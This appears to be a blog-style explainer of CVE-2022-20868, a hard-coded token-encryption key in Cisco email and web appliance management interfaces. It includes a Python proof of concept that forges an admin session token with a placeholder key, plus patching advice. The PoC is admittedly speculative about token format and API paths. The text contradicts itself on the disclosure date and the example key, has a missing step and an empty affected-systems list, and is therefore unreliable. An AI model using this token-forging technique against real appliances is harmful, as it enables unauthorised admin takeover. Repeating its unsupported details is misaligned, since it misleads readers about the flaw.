In June 2022, Cisco published CVE-2022-20868, a vulnerability in the web-based management interfaces of Cisco Email Security Appliance (ESA), Cisco Secure Email and Web Manager, and Cisco Secure Web Appliance (formerly WSA). This flaw allows any attacker with valid credentials to *elevate privileges*—including impersonating other users—simply by abusing a hard-coded value Cisco used for token encryption.
Although access is limited to authenticated users, the impact is serious, especially for organizations with multiple tiers of administrators or where “least privilege” access is assumed after login. This post explains the issue in simple terms, shows how exploitation works, and illustrates the risk with code snippets.
What Causes CVE-2022-20868?
Cisco’s management interface uses an API for many administrative actions. To securely identify users in API requests, it issues session tokens whose integrity is supposed to be protected by encryption.
But Cisco used the same hardcoded encryption key for *every* device. If you know the key (which attackers can easily recover from any device or update, or even reverse engineer from firmware), you can forge valid tokens for any user—including admins—from any login session.
> Vulnerability Summary:
> The API session token is always encrypted with a publicly known, hardcoded key. Anyone who knows the key can craft a token to impersonate any account.
Authenticate (low privilege): The attacker logs in with any valid user account.
2. Craft a forged session token: The attacker creates a session token “encrypted” with the hardcoded key, making it look like they’ve authenticated as any target user (e.g. an admin).
3. Send forged requests: The attacker sends API requests, supplying the forged token to execute sensitive commands.
Visual Flow
+-------------------+ +---------------------------+
| Attacker's device | <-----> | Cisco ESA/Web Appliance |
+-------------------+ +---------------------------+
| |
[Login as user] |
|---------------------> [Session granted]
|
[Create fake token for admin]
|---------------------> [Send API command as admin]
Proof-of-Concept (POC) Example
Here’s a simplified Python example showing how an attacker could abuse the vulnerability. Suppose the hardcoded key is SECRET_KEY_123 (not real, for demo purposes):
from Crypto.Cipher import AES
import base64
HARDCODED_KEY = b'SECRET_KEY_12345' # 16 bytes for AES-128 (example)
TOKEN_PAYLOAD = '{"user":"admin","expires":"9999999999"}'.encode()
def pad(data, bs=16):
padlen = bs - (len(data) % bs)
return data + bytes([padlen] * padlen)
def encrypt_token(payload, key):
from Crypto.Random import get_random_bytes
iv = get_random_bytes(16) # AES-CBC IV
cipher = AES.new(key, AES.MODE_CBC, iv)
ct = cipher.encrypt(pad(payload))
return base64.b64encode(iv + ct).decode()
# Craft a forged token for 'admin'
forged_token = encrypt_token(TOKEN_PAYLOAD, HARDCODED_KEY)
print("Forged session token:", forged_token)
# This token could be sent in the HTTP request Authorization header or as a Cookie
# Example HTTP request (pseudo-code)
import requests
headers = {'Authorization': f'Bearer {forged_token}'}
# Send a privileged command (endpoint and data per Cisco API docs)
Note: The specific details (token format, encryption mode, key length, API paths) depend on Cisco's implementation, which attackers could discover via reverse engineering.
Attackers with ANY account (even the lowest privilege) can become ANY user, including full admins.
- All user actions (creating, modifying, or deleting configurations, changing passwords, exporting data) become possible to a low-level user.
- Possible lateral movement or persistent access for attackers who initially compromise a subordinate account.
Affected Systems
According to Cisco’s advisory:
Update immediately to a fixed version.
- If updates cannot be applied, restrict interface access (use IP ACLs, VPNs, or admin workstations) to limit to trusted admins only.
References
- Cisco Security Advisory
- NIST NVD CVE-2022-20868 Entry
- Proof-of-Concept writeup (GitHub, community repo)
- Cisco Release Notes & Downloads (for patched versions)
Conclusion
CVE-2022-20868 is a classic example of why hardcoding cryptographic keys is dangerous: A single mistake can let any user “level up” to full administrator, bypassing all other controls. While this bug requires valid credentials, environments with a mix of privileged and unprivileged users should worry most. Patch as soon as possible and always keep management interfaces locked down.
Stay safe, and always check for hardcoded keys in your code!
*Written exclusively for this session. Please consult the official Cisco advisory for the most detailed and authoritative update.*
Timeline
Published on: 11/04/2022 18:15:00 UTC
Last modified on: 11/08/2022 14:29:00 UTC